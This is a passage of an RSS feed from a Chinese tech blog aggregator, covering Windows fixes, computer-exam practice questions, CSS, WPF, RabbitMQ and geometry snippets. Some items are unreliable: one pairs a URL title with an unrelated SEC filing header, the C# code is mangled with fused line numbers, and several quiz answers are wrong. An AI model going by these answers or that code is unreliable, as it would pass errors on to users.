      <description>今日偶然帮老师整理材料，前面都是一帆风顺，唯独编排的书册日期栏无法搞定，虽自信满满，奈何电脑无法上网，没法查看网友的解答，故没有完成原定的任务，略感遗憾，后来上网查看，发现如此简单，现将方法总结如下！&#xA;原始情况：&#xA;解决方法：选中需要横向的数字，然后选中顶部的A标识，还会有预览效果，看到设置之后的排版，这样就可以了。至于两个数字之间的“-”可以插入符号或者调整字体大小，“-”会作出相应的变化。搞定！</description>
    </item>
    <item>
      <title>系统错误 由于找不到MSVCP1.40.ddl，无法继续执行代码，重新安装程序可能会解决此问题 解决办法</title>
      <link>https://bchobby.github.io/posts/409a2d2e42444662d909affe3411ee4b/</link>
      <pubDate>Sun, 20 Jun 2021 13:37:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/409a2d2e42444662d909affe3411ee4b/</guid>
      <description> 问题描述 有很多小伙伴在Windows上安装软件（我这里是安装MySQL数据库）的时候会报出如下错误：&#xA;系统错误 由于找不到MSVCP1.40.ddl，无法继续执行代码，重新安装程序可能会解决此问题。&#xA;如图：&#xA;原因 这是因为缺少c++运行库导致的，这种情况在windows10比较常见。&#xA;解决办法 用DirectXRepair修复工具修复后再次安装即可。我在这里给各位小伙伴提供了百度网盘的下载地址。大家就不用去网上慢慢找了。&#xA;百度网盘下载地址：https://pan.baidu.com/s/1Xa7dYzFK75u8hb-q1vatdQ&#xA;提取码: 18rp&#xA;DirectXRepair修复工具的使用步骤： 一、解压缩DirectXRepair包 如图：&#xA;二、执行DirectX Repair.exe程序 三、点击检测并修复 四、等待修复完成 五、完成修复，确认后退出 </description>
    </item>
    <item>
      <title>计算机缺少网络连接,电脑提示找不到宽带连接的原因及解决方法</title>
      <link>https://bchobby.github.io/posts/e070a2ba3425ae80746faa8547c24aa3/</link>
      <pubDate>Sun, 20 Jun 2021 10:12:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e070a2ba3425ae80746faa8547c24aa3/</guid>
      <description>最近有不少用的用户反映说，电脑在重装完系统后，进行宽带连接的时候，电脑却出现电脑找不到宽带连接的提示，导致宽带无法正常连接，这是怎么回事呢？今天U大侠小编就和大家说说电脑提示找不到宽带连接的原因及解决方法。&#xA;找不到宽带连接&#xA;一、原因分析&#xA;1、可能是我们的拨号宽带连接没有创建好；&#xA;2、没有正常安装计算机网卡驱动或者是网卡故障造成的；&#xA;3、可能是网络被禁用；&#xA;二、解决方法&#xA;1、首先鼠标右击win7旗舰版系统桌面上的计算机图标，选择“设备管理器”项；&#xA;2、当我们进入电脑设备管理器，检查一下我们的网卡驱动是不是能够安装正常，同时大家可以看看网卡是不是被禁用了，一般情况下，在设备管理器中。&#xA;3、如果上面显示为正常网卡状态，说明我们的驱动没有被禁用驱动完好，如果出现有黄色感叹号或者红色禁用斜杠很容易看出来，是我们计算机驱动问题，小编建议大家根据自己的网卡型去别的计算机下载与之对应驱动，接着我们进行安装；&#xA;4、如果是网卡被禁用的话，只要鼠标右键点击启用就行了。&#xA;5、如果我们发现设备管理器里面检查一切正常，那就极有可能是因为宽带连接没有创建好的问题，U大侠小编这里建议大家重新创建一个宽带连接即可。&#xA;相关文章：</description>
    </item>
    <item>
      <title>计算机一级wps必背知识点,2017计算机一级WPSOffice备考练习（含答案）</title>
      <link>https://bchobby.github.io/posts/937489855c791a42dba4f4616a70da39/</link>
      <pubDate>Sun, 20 Jun 2021 09:28:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/937489855c791a42dba4f4616a70da39/</guid>
      <description>2017计算机一级WPSOffice备考练习(含答案)&#xA;计算机一级WPS Office采用无纸化考试，上机操作。下面是小编整理的一级WPSOffice备考练习，希望对大家有所帮助！&#xA;一、选择题&#xA;1.下列(C)工具不属于辅助工具.&#xA;A)参考线和网格线&#xA;B)标尺和度量工具&#xA;C)画笔和铅笔工具&#xA;D)缩放工具和抓手工具&#xA;2.Photoshop中利用橡皮擦工具擦除背景层中的对象，被擦除区域填充什么颜色?(D)&#xA;A)黑色&#xA;B)白色&#xA;C)透明&#xA;D)背景色&#xA;3.以下(D)不是颜色模式。&#xA;A)RGB&#xA;B)Lab&#xA;C)HSB&#xA;D)双色调&#xA;4.建立选区时，要移动选区中的对象，可以加(B)辅助键。&#xA;A)Shift&#xA;B)Ctrl&#xA;C)Alt&#xA;D)空格&#xA;5.(B)面板用于记录图像的颜色数据和保存选区。&#xA;A)通道&#xA;B)图层&#xA;C)路径&#xA;D)颜色&#xA;6.Photoshop中可以根据像素颜色的近似程度来填充颜色，并且填充前景色或连续图案的工具是下列哪一个。(D)&#xA;A)魔术橡皮擦工具&#xA;B)背景橡皮擦工具&#xA;C)渐变填充工具&#xA;D)油漆桶工具&#xA;7.在Photoshop中，如果想绘制直线的画笔效果，应该按住什么键?(B)&#xA;A)Ctrl&#xA;B)Shift&#xA;C)Alt&#xA;D)Alt+Shift&#xA;8.构成位图图像的最基本单位是(B)。&#xA;A)颜色&#xA;B)像素&#xA;C)通道&#xA;D)图层&#xA;9.图像窗口标题栏文件名中显示的.tif和.psd所代表的是(A)。&#xA;A)文件格式&#xA;B)分辨率&#xA;C)颜色模式&#xA;D)文件名&#xA;10.下列哪种格式大量用于网页中的图像制作?(D)&#xA;A)EPS&#xA;B)DCS2.0&#xA;C)TIFF&#xA;D)JPEG&#xA;二、判断题&#xA;1.在Word中，标尺是按一个字符宽度标度的。(√)&#xA;2.PPoint97可以设置当鼠标移过超级链接源时切称换到另一张幻灯片。(√)&#xA;3.Excel97工作表中的列宽和行高是可以改变的。(√)&#xA;4.退出Excel97可使用Ctrl+F4组合键。(×)&#xA;5.在Word编辑时，文档输入满一行则应按Enter键开始下一行。(×)&#xA;6.新建Word 97文档的.默认存储位置是C:。(×)&#xA;7.如果为PPoint演示文稿设置了动画效果，则播放时单击鼠标将显示设置了动画的对象，而不是立即切换到下一张幻灯片。(√)&#xA;8.在PPoint幻灯片页眉和页脚中设置的内容将会在演示文稿的每一张幻灯片中显示出来。(√)&#xA;9.在Excel97中，不可以进行图文混排。(×)&#xA;10.在Word 97的“预览”窗口中，当“放大镜”恢复原状时，用户可对文档进行编辑。(√)&#xA;11.双击以扩展名*.PPT结尾的文件，可以启动PPoint应用程序。(√)&#xA;12.在Excel中制作的表格可以插入到Word文档中。(√)</description>
    </item>
    <item>
      <title>计算机一级考试wps知识点,计算机一级考试wps练习题</title>
      <link>https://bchobby.github.io/posts/0fa0935234bc4f6313af49104b1fdd9c/</link>
      <pubDate>Sun, 20 Jun 2021 01:18:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fa0935234bc4f6313af49104b1fdd9c/</guid>
      <description>wps是计算机一级考试考核的科目之一，那么计算机一级考试wps科目都考察哪些内容呢?下面学习啦小编为大家带来计算机一级考试wps练习题，欢迎同学备考练习。&#xA;计算机一级考试wps练习题1：&#xA;1、在WINDOWS中，对话框是一种特殊的窗口，但一般的窗口可以移动和改变大小，而对话框【B】&#xA;A.既不能移动，也不能改变大小&#xA;B.仅可以移动，不能改变大小&#xA;C.仅可以改变大小，不能移动&#xA;D.既能移动，也能改变大小&#xA;2、WINDOWS中的“剪贴板”是【D】&#xA;A.硬盘中的一块区域　解析：剪贴板是WINDOWS中一段可连续的，可随存&#xA;B.软盘中的一块区域　放信息的大小而变化的内存空间。&#xA;C.高速缓存中的一块区域&#xA;D.内存中的一块区域&#xA;3、下列哪种方式不能关闭当前窗口【D】&#xA;A.标题栏上的“关闭”按钮　解析：Alt+Tab 是在所有开的程序窗口中切换，&#xA;B.“文件”菜单中的“退出”　Alt+ESC是切换到前一窗口&#xA;C.按Alt+F4快捷键&#xA;D.按Alt+ESC快捷键&#xA;4、双击一个扩展名为.doc的文件，则系统默认是用【B】来打开它。&#xA;A.记事本B.WordC.画图D.Excel&#xA;5、打开一个WORD文档，通常指的是【B】&#xA;A.把文档的内容从内存中读入，并显示出来&#xA;B.把文档的内容从磁盘调入内存，并显示出来&#xA;C.为指定文件开设一个空的文档窗口&#xA;D.显示并打印出指定文档的内容&#xA;6、在WORD中，与打印预览基本相同的视图方式是【C】&#xA;A.普通视图&#xA;B.大纲视图&#xA;C.页面视图&#xA;D.全屏显示&#xA;7、下列Word的段落对齐方式中，能使段落中每一行(包括未输满的行)都能保持首尾对齐的是(D)。&#xA;A.左对齐&#xA;B.两端对齐&#xA;C、居中对齐&#xA;D.分散对齐&#xA;8、Excel的缺省工作簿名称是【C】&#xA;A.文档1&#xA;B.sheet1&#xA;C.book1&#xA;D.DOC&#xA;9、Excel工作表的列数最大为【B】&#xA;A.255　最大行数为65536行&#xA;B.256&#xA;C.1024&#xA;D.16384&#xA;10、单元格C1=A1+B1，将公式复制到C2时答案将为【B】&#xA;A.A1+B1&#xA;B.A2+B2&#xA;C.A1+B2&#xA;D.A2+B1&#xA;计算机一级考试wps练习题2：&#xA;11、PowerPoint演示文稿和模板的扩展名是【D】&#xA;A.doc和txt&#xA;B.html和ptr&#xA;C.pot和ppt&#xA;D.ppt和pot&#xA;12、下列不是合法的“打印内容”选项的是【D】&#xA;A.幻灯片&#xA;B.备注页&#xA;C.讲义&#xA;D.动画&#xA;13、下列不是PowerPoint视图的是【C】&#xA;A.普通视图 解析：PPT视图种类：普通视图、幻灯片视图、大纲视图、</description>
    </item>
    <item>
      <title>90年代人们使用计算机,上世纪90年代电脑走进普通家庭 你还记得长什么样吗?</title>
      <link>https://bchobby.github.io/posts/e9ca37d97ede142534be65225653d95e/</link>
      <pubDate>Sun, 20 Jun 2021 00:37:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9ca37d97ede142534be65225653d95e/</guid>
      <description>近日，“触网20年”这一话题引发网友热烈讨论，回忆起电脑上网种种新奇经历，面对电脑给我们带来的改变，感慨颇多。时下，电脑已经成为我们生活工作不可或缺的一员，而早在20多年前，中国的一些城市就刮起了一股家用电脑热潮，那时的电脑还不能“网上冲浪”，但依然给人们带来了时尚震撼的新奇体验。&#xA;1994年4月22日《重庆日报》第2版&#xA;据1994年4月22日的《重庆日报》报道，随着人们生活水平的提高，家用电脑成为当时不少重庆市民的新宠。重庆家用电脑市场虽不能和北京、上海等地相比，但温度比以往已上升了不少。&#xA;“旧时王谢堂前燕，飞入寻常百姓家”，那时许多电脑商已不光做集团生意，他们更把经营的主要方向放在私人消费上。据不完全统计，重庆当时一个月的电脑销售量已达500台左右。&#xA;当时普通家庭购买的电脑是什么样的？咱们一起去看看。&#xA;消费者由于使用目的和经济实力不同，购买的电脑从学习机到286、386SX、386DX乃至486都有。当时的电脑配置和现在比起来也是非常“寒酸”。以386DX机型为例，它的配置为l兆内存、单软驱、单色显示器、键盘，价格在3000元左右。而据了解，1994年全国职工平均月工资只有300多元，可见购买这样一台电脑还是一笔很大的开销。&#xA;如今，一台普通的3000元的台式电脑，可轻松配置4G内存，i3的处理器，500G硬盘，显示器、键盘更是不知升级了许多倍。&#xA;那时家用电脑都用来做什么？&#xA;报道称，私人电脑消费者分三类，一类是为孩子教育而购买，一类是玩电脑游戏，还有一类是因工作需要。第一类消费者数量最多。&#xA;小编看到玩电脑游戏很有感触。小编六七岁时没少跟着哥哥去电脑房打游戏，自然也没少被妈妈揪着我的耳朵赶回家。十几年过去了，当时玩的游戏都记不清了，但那时玩游戏的兴奋劲头一点都没忘。&#xA;如今，电脑在配置硬件上早已经脱胎换骨，网络的接入更是改变了我们的工作和生活。从到网吧上网逛论坛，到在家读网络小说；从看博客写博客到刷微博，玩微信；从聊QQ收邮件到网上购物……不可否认，电脑与网络改写了我们的世界。&#xA;本文历史资料选自1994年4月22日重庆日报第2版见报稿。本栏目信息由重庆日报报业集团信息咨询中心提供，如需查询更多重庆日报历史资料，请致电023-63907740陈小姐详询。</description>
    </item>
    <item>
      <title>http://www.115ps.com/all.html,plnt-20200804</title>
      <link>https://bchobby.github.io/posts/16eebc6bc155b00314bfe3cf4b689b95/</link>
      <pubDate>Sat, 19 Jun 2021 22:46:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16eebc6bc155b00314bfe3cf4b689b95/</guid>
      <description>0001637207-20-000037.txt : 20200804&#xA;0001637207-20-000037.hdr.sgml : 20200804&#xA;20200804161432&#xA;ACCESSION NUMBER:0001637207-20-000037&#xA;CONFORMED SUBMISSION TYPE:8-K&#xA;PUBLIC DOCUMENT COUNT:15&#xA;CONFORMED PERIOD OF REPORT:20200804&#xA;ITEM INFORMATION:Results of Operations and Financial Condition&#xA;ITEM INFORMATION:Financial Statements and Exhibits&#xA;FILED AS OF DATE:20200804&#xA;DATE AS OF CHANGE:20200804&#xA;FILER:&#xA;COMPANY DATA:&#xA;COMPANY CONFORMED NAME:Planet Fitness, Inc.&#xA;CENTRAL INDEX KEY:0001637207&#xA;STANDARD INDUSTRIAL CLASSIFICATION:SERVICES-MEMBERSHIP SPORTS &amp;amp; RECREATION CLUBS [7997]&#xA;IRS NUMBER:000000000&#xA;STATE OF INCORPORATION:DE&#xA;FISCAL YEAR END:1231&#xA;FILING VALUES:&#xA;FORM TYPE:8-K</description>
    </item>
    <item>
      <title>html h1怎么居中,如何在h1标签内水平居中span元素？</title>
      <link>https://bchobby.github.io/posts/df1d520be3a1ca9401d709a98071464f/</link>
      <pubDate>Sat, 19 Jun 2021 17:12:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df1d520be3a1ca9401d709a98071464f/</guid>
      <description>Home&#xA;而这个CSS：&#xA;h1#page-title {&#xA;background: transparent url(../images/line.png) 0px 6px no-repeat;&#xA;overflow: hidden;&#xA;}&#xA;#page-title-inner {&#xA;width: auto;&#xA;float: left;&#xA;background: #fff;&#xA;padding: 0 15px;&#xA;position: relative;&#xA;left: 45%;&#xA;}&#xA;这个CSS略有实现我想要什么考虑到页面的标题是短暂的。但是如果标题很长，它会填补从中心到右边的空间。&#xA;我真正想要实现的是将页面标题放在span(它位于h1标签内)中，而不管它的宽度如何。&#xA;我试图做这样的事情：&#xA;#page-title-inner {&#xA;width: auto;&#xA;float: left;&#xA;background: #fff;&#xA;margin: 0 auto;&#xA;display: block;&#xA;}&#xA;其中保证金0 auto值就是将中心的跨度，但我不知道为什么它不工作。&#xA;有没有更好的方法，更有效地实现我想要做的事情？&#xA;2013-09-23&#xA;Atasha</description>
    </item>
    <item>
      <title>WPF页面切换之Page与Window</title>
      <link>https://bchobby.github.io/posts/b5f4e4065ae8e2010bbee5d2aa64d8e7/</link>
      <pubDate>Sat, 19 Jun 2021 13:07:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5f4e4065ae8e2010bbee5d2aa64d8e7/</guid>
      <description>先从基础背景知识说起：&#xA;一、Page与Window介绍 1.应用程序GUI的所有内容都是包含在Window中的，想要显示东西？必须先创建一个Window或者一个Window的子类；&#xA;2.Window下面可以直接写内容，写布局，但是这些内容和布局写完后只能是固定的、不可变的，这里是不可变是指Window的内容不会发生变化了，因为元素和布局是写死的了；&#xA;3.在Window下面插入Frame作为容器，再用该Frame包含你的某个Page（***注意：所有的Page都需要容器包含，否则无法进行页面之间的跳转和导航！！！***），即可实现一个Window下的界面整体变化，即window还是那个window，内容随心变化，就像打开了一个浏览器窗口，输入不同的网址显示不同内容，浏览器窗口还是那个窗口，内容却可以随意变化！&#xA;4.不创建Window，创建NavigationWindow，可以在不使用Frame时实现步骤3描述的效果↑↑↑；&#xA;5.Page之间跳转方式分为前端和后端，前端跳转就是利用超链接的uri直接跳转，后端跳转就是给前端加个click事件然后在后端的click处理方法中使用NavigationService进行跳转，例如：&#xA;SecondPage secondPage = new SecondPage(); this.NavigationService.Navigate(secondPage); 二、实验 以上已经把关系理清楚了，所以实验自己做就行，&#xA;动手能力不行的初学者可以参考这个做实验：&#xA;https://www.cnblogs.com/listenfly/archive/2013/02/24/2923474.html&#xA;https://www.cnblogs.com/Seek-logic/archive/2013/05/16/3081825.html</description>
    </item>
    <item>
      <title>js word excel转html,word Excel转Html.docx</title>
      <link>https://bchobby.github.io/posts/b46c763fd40b3bb2282d7709032b8c09/</link>
      <pubDate>Sat, 19 Jun 2021 02:45:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b46c763fd40b3bb2282d7709032b8c09/</guid>
      <description>word Excel转Html&#xA;word 转Html 1/// 2/// word转成html 3/// 4/// 5privatevoid WordToHtml(object wordFileName,string htmlWord) 6{ 7//在此处放置用户代码以初始化页面 8 Word.ApplicationClass word = new Word.ApplicationClass(); 9 Type wordType = word.GetType();10 Word.Documents docs = word.Documents;11//打开文件12 Type docsType = docs.GetType();13 Word.Document doc = (Word.Document)docsType.InvokeMember(&#34;Open&#34;, System.Reflection.BindingFlags.InvokeMethod, null, docs, new Object[] { wordFileName, true, true });14//转换格式，另存为15string a = doc.Comments.ToString();16 Type docType = doc.GetType();17string wordSaveFileName = wordFileName.ToString()tring strSaveFileName = htmlWord + &#34;\\&#34; + Path.GetFileNameWithoutExtension(wordSaveFileName) + &#34;.html&#34;;2223object saveFileName = (object)strSaveFileName;24 docType.</description>
    </item>
    <item>
      <title>计算机win7如何连接wifi网络,笔记本win7系统电脑找不到WiFi只有本地连接怎么办【图文】...</title>
      <link>https://bchobby.github.io/posts/81b37ef9c35fc1ab7086b1e97fb0ea01/</link>
      <pubDate>Fri, 18 Jun 2021 22:45:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81b37ef9c35fc1ab7086b1e97fb0ea01/</guid>
      <description>我们知道，笔记本win7系统电脑里面一般都存在两种网络连接方式，分别是本地连接和无线连接。可是有用户发现自己的笔记本电脑里面只有本地连接，而没有无线连接，这是怎么回事呢?其实出现这种问题主要的没有安装无线网卡驱动造成的。&#xA;1、首选我们打开桌面右下角的网络图标，可以发现笔记本没有显示无线网络列表。在“开始”菜单里面大家打开控制面板，接着选择控制面板右上角的查看方式为“小图标”，如图所示。&#xA;2、紧接着大家找到“Windows移动中心”，使用鼠标点击把它打开，如果自己的无线网络被关闭，那么就点击“打开无线”按钮，便可以成功启用了无线网络功能，大家的无线网络列表就可以显示，如图所示。&#xA;3、下面检查设备驱动是不是正常。使用鼠标右击桌面“计算机”图标，接着我们在出现的上下文菜单里面直接选择“管理”。打开“计算机管理”界面后，按照顺序依次定位到“系统工具 -&amp;gt; 设备管理器 -&amp;gt; 网络适配器”，如图所示。&#xA;4、紧接着我们重新启用驱动程序。找到自己的无线网络驱动程序，右击此项，在系统弹出的菜单列表里面大家选择“禁用”。能够看到，这个时候无线网络驱动项的图标里面出现了向下箭头，表示系统已禁用无线网络驱动。我们再次右击它，接着在右键菜单中选择“启用”就行了。</description>
    </item>
    <item>
      <title>计算机一级office选择题必背知识点,2017年计算机一级MSOffice考试复习知识点</title>
      <link>https://bchobby.github.io/posts/29fbec3cd8c950611e6cc3f918a61d22/</link>
      <pubDate>Fri, 18 Jun 2021 20:50:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29fbec3cd8c950611e6cc3f918a61d22/</guid>
      <description>随着微处理机的迅速发展，计算机广泛应用于工业、农业、文化教育、卫生保健、服务行业、社会公用事业等。家用电器采用微处理机后使计算机应用深入到家庭生活和娱乐之中。下面是小编整理关于计算机一级MSOffice考试复习知识点，欢迎大家参考!&#xA;1、在计算机内部用来传送、存储、加工处理的数据或指令都是以二进制码形式进行的&#xA;2、磁盘上的磁道是一组记录密度不同的同心圆。一个磁道大约有零点几毫米的宽度，数据就存储在这些磁道上。&#xA;3、世界上第一台电子计算机ENIAC是1946年在美国诞生的，它主要采用电子管和继电器，它主要用于弹道计算。&#xA;4、用高级程序设计语言编写的程序称为源程序，源程序不可直接运行。要在计算机上使用高级语言，必须先将该语言的编译或解释程序调入计算机内存，才能使用该高级语言。&#xA;5、数制也称计数制，是指用同一组固定的字符和统一的规则来表示数值的方法。十进制(自然语言中)通常用0到9来表示，二进制(计算机中)用0和1表示，八进制用0到7表示，十六进制用0到F表示。 (1)十进制整数转换成二进制(八进制、十六进制)，转换方法：用十进制余数除以二(八、十六)进制数，第一次得到的余数为最低有效位，最后一次得到的余数为最高有效位。 (2)二(八、十六)进制整数转换成十进制整数，转换方法：将二(八、十六)进制数按权展开，求累加和便可得到相应的十进制数。 (3)二进制与八进制或十六进制数之间的转换二进制与八进制之间的转换方法：3位二进制可转换为1位八进制，1位八进制数可以转换为3位二进制数。 二进制数与十六进制之间的转换方法：4位二进制可转换为1位十六进制数，1位十六进制数中转换为4位二进制数。&#xA;6、将用高级程序语言编写的源程序翻译成目标程序的程序称编译程序。连接程序是一个将几个目标模块和库过程连接起来形成单一程序的应用。诊断程序是检测机器系统资源、定位故障范围的有用工具。&#xA;7、微型计算机的主机由CPU和内存储器构成。内存储器包括RAM和ROM。&#xA;8、下列既属于输入设备又属于输出设备的是软盘驱动器&#xA;9、在计算机中通常使用三个数据单位：位、字节和字。位的概念是：最小的存储单位，英文名称是bit，常用小写b或bit表示。用8位二进制数作为表示字符和数字的基本单元，英文名称是byte，称为字节。通常用大&#34;B&#34;表示。 1B(字节)=8b(位) 1KB(千字节)=1024B(字节) 1MB(兆字节)=1024KB(千字节) 字长：字长也称为字或计算机字，它是计算机能并行处理的二进制数的位数。&#xA;10、一个计算机操作系统通常应具有处理器(CPU)管理;存储管理;文件管理;输入/出管理和作业管理五大功能 D、计算机启动;打印;显示;文件存取和关机等五大功能&#xA;11、属于外部存储器的是硬盘，ROM、RAM、cache都属于内部存储器。&#xA;12、硬件系统和软件系统是计算机系统两大组成部分。输入设备和输出设备、主机和外部设备属于硬件系统。系统软件和应用软件属于软件系统。&#xA;13、在存储器中，ROM是内部存储器，CD-ROM、硬盘、软盘是外部存储器。&#xA;14、目前微机中所广泛采用的电子元器件是：大规模和超大规模集成电路。电子管是第一代计算机所采用的逻辑元件(1946-1958)。晶体管是第二代计算机所采用的逻辑元件(1959-1964)。小规模集成电路是第三代计算机所采用的逻辑元件(1965-1971)。大规模和超大规模集成电路是第四代计算机所采用的逻辑元件(1971-今)。&#xA;15、我国国家标准局于1981年5月颁布《信息交换用汉字编码字符集--基本集》共对6763个汉字和682个非汉字图形符号进行了编码。根据使用频率将6763个汉字分为两级：一级为常用汉字3755个，按拼音字母顺序排列，同音字以笔型顺序排列。二级为次常用汉字3008个，按部首和笔型排列。&#xA;16、编译程序的最终目标是将源程序编译成目标程序。编译方式是把高级语言程序全部转换成机器指令并产生目标程序，再由计算机执行。&#xA;17、标准的汉字编码表有94行、94列，其行号称为区号，列号称为位号。双字节中，用高字节表示区号，低字节表示位号。非汉字图形符号置于第1～11区，一级汉字3755个置于第16～55区，二级汉字3008个置于第56～87区。&#xA;18、计算机之所以能按人们的意志自动进行工作，就计算机的组成来看，一个完整计算机系统可有硬件系统和软件系统两部分组成，在计算机硬件中CPU是用来完成指令的解释与执行。存储器主要是用来完成存储功能，正是由于计算机的存储、自动解释和执行功能使得计算机能按人们的意志快速的自动的完成工作。&#xA;19、32位微机是指它所用的CPU是一次能处理32位二进制数。&#xA;20、运算速度：运算速度是指计算机每秒中所能执行的指令条数，一般用MIPS为单位。 字长：字长是CPU能够直接处理的二进制数据位数。常见的微机字长有8位、16位和32位。 内存容量：内存容量是指内存储器中能够存储信息的总字节数，一般以KB、MB为单位。 传输速率用bps或kbps来表示。&#xA;21、人工智能模拟是计算机理论科学的一个重要的领域，智能模拟是探索和模拟人的感觉和思维过程的科学，它是在控制论、计算机科学、仿生学和心理学等基础上发展起来的新兴边缘学科。其主要研究感觉与思维模型的建立，图像、声音和物体的识别。计算机最早的应用领域是：数值计算。人工智能、过程控制、信息处理是现代计算机的功能。&#xA;22、如果运行某一程序时，发现所需内存容量不够，我们可以通过增加内存容量的方法来解决。内存储器(内存)是半导体存储器，用于存放当前运行的程序和数据，信息按存储地址存储在内存储器的存储单元中。内存储器可分为只读存储器(ROM)和读写存储器(RAM)。&#xA;23、机内码是指汉字在计算机中的编码，汉字的机内码占两个字节，分别称为机内码的高位与低位。</description>
    </item>
    <item>
      <title>浅谈对Rabbitmq失败通知和生产者确认的理解</title>
      <link>https://bchobby.github.io/posts/e61321fc9c6cd9118681a5d2c06cc5be/</link>
      <pubDate>Fri, 18 Jun 2021 12:13:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e61321fc9c6cd9118681a5d2c06cc5be/</guid>
      <description>Rabbitmq的失败通知和生产者确认机制，对于初学者来说总是不那么好理解，咱们先看一下消息发布时候的权衡&#xA;从图中可以看出投递速度由快到慢，消息安全由低到高的权衡，我们可以看到失败通知和生产者确认在其中的位置，先总的了解下，接下来我们通过代码来理解下什么是失败通知，什么是生产者确认。&#xA;1.先创建配置类&#xA;import com.controller.MyAckReceiver; import org.springframework.amqp.core.*; import org.springframework.amqp.rabbit.connection.CachingConnectionFactory; import org.springframework.amqp.rabbit.connection.ConnectionFactory; import org.springframework.amqp.rabbit.core.RabbitTemplate; import org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer; import org.springframework.amqp.rabbit.support.CorrelationData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @Configuration public class DirectRabbitConfig { @Autowired private CachingConnectionFactory connectionFactory; @Autowired private MyAckReceiver myAckReceiver;//消息接收处理类 //队列 起名：TestDirectQueue @Bean public Queue TestDirectQueue() { // durable:是否持久化,默认是false,持久化队列：会被存储在磁盘上，当消息代理重启时仍然存在，暂存队列：当前连接有效 // exclusive:默认也是false，只能被当前创建的连接使用，而且当连接关闭后队列即被删除。此参考优先级高于durable // autoDelete:是否自动删除，当没有生产者或者消费者使用此队列，该队列会自动删除。 // return new Queue(&#34;TestDirectQueue&#34;,true,true,false); //一般设置一下队列的持久化就好,其余两个就是默认false return new Queue(&#34;TestDirectQueue&#34;,true); } //Direct交换机 起名：TestDirectExchange @Bean DirectExchange TestDirectExchange() { // return new DirectExchange(&#34;TestDirectExchange&#34;,true,true); return new DirectExchange(&#34;</description>
    </item>
    <item>
      <title>计算机专业是武大冷门吗,武汉大学最不好的专业是什么？附武汉大学的弱势专业名单...</title>
      <link>https://bchobby.github.io/posts/787d0d81e2f637ef29bc50ffb07d585a/</link>
      <pubDate>Fri, 18 Jun 2021 05:24:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/787d0d81e2f637ef29bc50ffb07d585a/</guid>
      <description>选择科目&#xA;测一测我能上哪些大学&#xA;选择科目&#xA;领取你的专属报告&#xA;&amp;gt;&#xA;选择省份&#xA;关闭&#xA;请选择科目&#xA;确定&#xA;v&amp;gt;&#xA;像武汉大学这样的好学校中其实也有实力相对一般的专业。本期，小编将给大家介绍武汉大学最不好的专业有哪些，并为同学们附上武汉大学的弱势专业名单，供参考。&#xA;本文将从就业率的角度评选武汉大学最不好的专业&#xA;根据《武汉大学2019年毕业生就业质量报告》中公布的数据可知：学校2019届本科毕业生的总体就业率为87.75%。&#xA;从各个专业2019届毕业生的就业情况来看，武汉大学就业率远低于学校总体就业率的弱势专业有：&#xA;1、应用化学专业：毕业生29人，就业率为62.07%&#xA;2、人文地理与城乡规划专业：毕业生8人，就业率为62.5%&#xA;3、法学专业：毕业生171人，就业率为64.91%&#xA;4、口腔医学专业：毕业生55人，就业率为65.45%&#xA;5、俄语专业：毕业生14人，就业率为71.43%&#xA;6、护理学专业：毕业生52人，就业率为75%&#xA;7、物联网工程专业：毕业生20人，就业率为75%&#xA;8、社会工作专业：毕业生17人，就业率为76.47%&#xA;9、德语专业：毕业生17人，就业率为76.47%&#xA;以上这1个专业均为武汉大学就业率最低的本科专业，其中就业率最低的应用化学专业甚至要比学校的本科总体就业率还要低出25.68%。&#xA;不过由于法学、口腔医学这2个专业均被教育部评为了国家级一流本科专业，除了就业以外的各方面实力都非常强盛，所以在评选武汉大学的弱势专业时可以将它们直接排除在外。&#xA;剩下的应用化学、人文地理与城乡规划、俄语、护理学、物联网工程、社会工作、德语这7个专业既不是国家级一流本科专业、就业率又相对较低，所以可以将其称之为武汉大学最不好就业的专业。</description>
    </item>
    <item>
      <title>平面中判断线段与矩形是否相交</title>
      <link>https://bchobby.github.io/posts/9fd22ba67cd0fe73a4267d704a8b9e14/</link>
      <pubDate>Thu, 17 Jun 2021 23:40:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fd22ba67cd0fe73a4267d704a8b9e14/</guid>
      <description>文章目录 1. 原理2. 实现3. 参考 1. 原理 这个问题的算法思路挺简单的。分成两步来判断：&#xA;判断线段的两个端点是否在矩形内，如果两个端点至少有一个在矩形内，说明线段与矩形相交。如果两个端点都不在矩形内，那么需要再判断线段是否与矩形的对角线是否相交。因为两个端点都不在矩形内的线段有可能会切割矩形的角，这时会与矩形的对角线相交。 那么关键就在于两个子算法：判断点在矩形内和判断线段相交。判断点在矩形内非常简单，就是比较点是否在矩形的四至范围就可以了;而判断线段相交可以参考《空间或平面判断两线段相交(求交点)》这篇文章。&#xA;2. 实现 关键的C++实现代码如下：&#xA;//空间直线 template &amp;lt;class T&amp;gt; class LineSegment { public: Vec3&amp;lt;T&amp;gt; startPoint; Vec3&amp;lt;T&amp;gt; endPoint; Vec3&amp;lt;T&amp;gt; direction; Vec3&amp;lt;T&amp;gt; min; Vec3&amp;lt;T&amp;gt; max; LineSegment() { } LineSegment(Vec3&amp;lt;T&amp;gt; start, Vec3&amp;lt;T&amp;gt; end) { startPoint = start; endPoint = end; direction = end - start; } inline void Set(Vec3&amp;lt;T&amp;gt; start, Vec3&amp;lt;T&amp;gt; end) { startPoint = start; endPoint = end; direction = end - start; } //两条线段相交 inline static bool Intersection2D(LineSegment &amp;amp; line1, LineSegment &amp;amp; line2, Vec3&amp;lt;T&amp;gt;&amp;amp; insPoint) { double D = -line1.</description>
    </item>
    <item>
      <title>计算机一级wps选择题必背知识点,2017全国计算机一级《WPS》复习题「附答案」...</title>
